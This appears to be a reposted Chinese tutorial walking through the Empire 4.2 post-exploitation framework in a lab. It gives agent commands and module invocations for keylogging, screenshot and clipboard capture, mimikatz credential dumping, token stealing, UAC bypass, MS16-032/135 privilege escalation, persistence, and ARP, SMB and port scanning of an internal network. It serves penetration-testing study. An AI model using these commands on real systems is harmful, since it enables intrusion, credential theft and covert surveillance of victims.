Empire4.2使用-第二篇-模块使用(信息收集、权限提升、内网探测)

连接主机&利用

在目标主机反弹成功以后,可以通过agents命令列出当前已连接的主机,这里要注意带有(*)的是已提权成功的主机

然后使用interact命令连接主机,可以使用Tab键补全主机的名称,连接成功以后可以通过 help 命令查看可以使用的命令

image-20211213215848251

# help
┌Help Options────┬─────────────────────────────────────┬─────────────────────────────────┐
│ Name           │ Description                         │ Usage                           │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ display        │ Display an agent property           │ display <property_name>         │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ download       │ Tasks an the specified agent to     │ download <file_name>            │
│                │ download a file.                    │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ help           │ Display the help menu for the       │ help                            │
│                │ current menu                        │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ history        │ Display last number of task results │ history [<number_tasks>]        │
│                │ received.                           │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ info           │ Display agent info.                 │ info                            │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ killdate       │ Set an agent's killdate             │ killdate <kill_date>            │
│                │ (01/01/2020)                        │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ proxy          │ Proxy management menu for           │ proxy                           │
│                │ configuring agent proxies           │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ script_command │ "Execute a function in the          │ shell_command <script_cmd>      │
│                │ currently imported PowerShell       │                                 │
│                │ script."                            │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ script_import  │ Imports a PowerShell script from    │ script_import <script_location> │
│                │ the server and keeps it in memory   │                                 │
│                │ in the agent.                       │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ shell          │ Tasks an the specified agent to     │ shell <shell_cmd>               │
│                │ execute a shell command.            │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ sleep          │ Tasks an the specified agent to     │ sleep <delay> <jitter>          │
│                │ update delay (s) and jitter (0.0 -  │ # 和CS一致                      │
│                │ 1.0)                                │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ update_comms   │ Update the listener for an agent.   │ update_comms <listener_name>    │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ upload         │ Tasks an the specified agent to     │ upload <local_file_directory>   │
│                │ upload a file.                      │ [destination_file_name]         │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ view           │ View specific task and result       │ view <task_id>                  │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ workinghours   │ Set an agent's working hours        │ workinghours <working_hours>    │
│                │ (9:00-17:00)                        │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ whoami         │ Tasks an agent to run the shell     │ whoami                          │
│                │ command 'whoami'                    │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ ps             │ Tasks an agent to run the shell     │ ps                              │
│                │ command 'ps'                        │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ sc             │ Tasks the agent to run module       │ sc                              │
│                │ powershell/collection/screenshot.   │                                 │
│                │ Default parameters include: Ratio:  │                                 │
│                │ 80                                  │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ keylog         │ Tasks the agent to run module       │ keylog                          │
│                │ powershell/collection/keylogger.    │                                 │
│                │ Default parameters include: Sleep:  │                                 │
│                │ 1                                   │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ sherlock       │ Tasks the agent to run module       │ sherlock                        │
│                │ powershell/privesc/sherlock.        │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ mimikatz       │ Tasks the agent to run module power │ mimikatz                        │
│                │ shell/credentials/mimikatz/logonpas │                                 │
│                │ swords.                             │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ psinject       │ Tasks the agent to run module       │ psinject <Listener> <ProcId>    │
│                │ powershell/management/psinject.     │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ revtoself      │ Tasks the agent to run module       │ revtoself                       │
│                │ powershell/credentials/tokens.      │                                 │
│                │ Default parameters include:         │                                 │
│                │ RevToSelf: True                     │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ shinject       │ Tasks the agent to run module       │ shinject <Listener> <ProcId>    │
│                │ powershell/management/shinject.     │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ spawn          │ Tasks the agent to run module       │ spawn <Listener>                │
│                │ powershell/management/spawn.        │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ steal_token    │ Tasks the agent to run module       │ steal_token <ProcessID>         │
│                │ powershell/credentials/tokens.      │                                 │
│                │ Default parameters include:         │                                 │
│                │ ImpersonateUser: True               │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ bypassuac      │ Tasks the agent to run module power │ bypassuac <Listener>            │
│                │ shell/privesc/bypassuac_eventvwr.   │                                 │
└────────────────┴─────────────────────────────────────┴─────────────────────────────────┘

image-20211213220208649

使用shell + 命令执行 cmd 命令

shell whoami    

image-20211214162130314

可以通过 upload 命令上传文件

新版有很多命令不一样,需要和网上的教程辨别下

信息收集

Empire主要用于后渗透。所以信息收集是比较常用的一个模块,可以使用searchmodule命令搜索需要使用的模块,这里通过键如usemodule collection(4.2版本是usemodule python/collecion/)然后按Tab查看完整的列表

searchmodule   	搜索模块
usemodule 		使用模块
code_execution	代码执行
collection		收集浏览器、剪切板、keepass、文件浏览记录等信息
credentials		密码凭据的获取和转储
exfiltration	信息渗出
exploitation	漏洞溢出
lateral_movement	横向运动移动
management		用来执行些系统设置,和邮件信息的收集
persistence		权限维持
privesc			本机权限提升
recon			侦察
situational_awareness	评估主机运行环境,网络运行环境
trollsploit		恶作剧

jobs kill JOB_name 停止任务

常用模块

  • 屏幕截图

    usemodule powershell/collection/screenshot         
    info
    execute
    

    image-20211214184129401

  • 键盘记录

    usemodule powershell/collection/keylogger   
    info
    
  • 剪贴板记录

    usemodule powershell/collection/clipboard_monitor      
    info
    

权限提升

  • Bypassuac

    输入以下命令,设置Listener参数,运行execute,会发现成功上线了一个新的反弹

    usemodule powershell/privesc/bypassuac
    set Listener c1ay
    

    image-20211214191130677

    返回agents,通过list可以看到有一个新的会话,并且带有*,说明提权成功

  • PowerUP

    Empire内置了PowerUp的部分工具,用于系统提权,主要有Windows错误系统配置漏洞、Windows Services漏洞、AlwaysInstallElevated漏洞等8种提权方式,输入以下命令,然后通过tab键查看完整列表

    usemodule powershell/privesc/powerup/
    tab
    

    AllChecks模块

    查找系统中的漏洞,和PowerSploit下PowerUp中的Invoke-AllChecks模块一样,该模块可以执行所有脚本检查系统漏洞,输入以下命令

    usemodule powershell/privesc/powerup/allchecks
    

    image-20211214191353625

  • GPP

    在域内常会启用组策略首选项来更改本地密码,便于管理和部署镜像,其缺点是任何普通域用户都可以从相关域控制器的SYSVOL种读取部署信息。GDD是采用ASE 256加密的,输入以下命令即可查看

    usemodule powershell/privesc/gpp      
    
  • 通过溢出漏洞

    输入以下命令即可通过溢出漏洞进行提权

    usemodule powershell/privesc/ms16-032
    usemodule powershell/privesc/ms16-135
    set Listener
    

    发现新会话返回,提权成功。可以返回agents通过list查看

  • 计划任务system提权

    usemodule powershell/persistence/elevated/schtasks 
    

内网探测

环境:

  • win2008-1 IP:192.168.179.131 10.0.0.3(已上线)
  • win2008-2 IP:10.0.0.2

主机发现

  • arp扫描

    usemodule powershell/situational_awareness/network/arpscan
    set Range 10.0.0.1-10.0.0.254 
    execute
    

    image-20211214193830836

  • smb扫描

    usemodule powershell/situational_awareness/network/smbscanner
    

端口扫描

usemodule powershell/situational_awareness/network/portscan 
# 设置参数
set Hosts 10.0.0.2	#设置ip
set TopPorts True	#使用top字典

其他信息收集

查找本地管理员的主机

usemodule powershell/situational_awareness/network/powerview/find_localadmin_access

查看共享文件

usemodule powershell/situational_awareness/network/powerview/share_finder

本地信息收集

usemodule powershell/situational_awareness/host/winenum

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>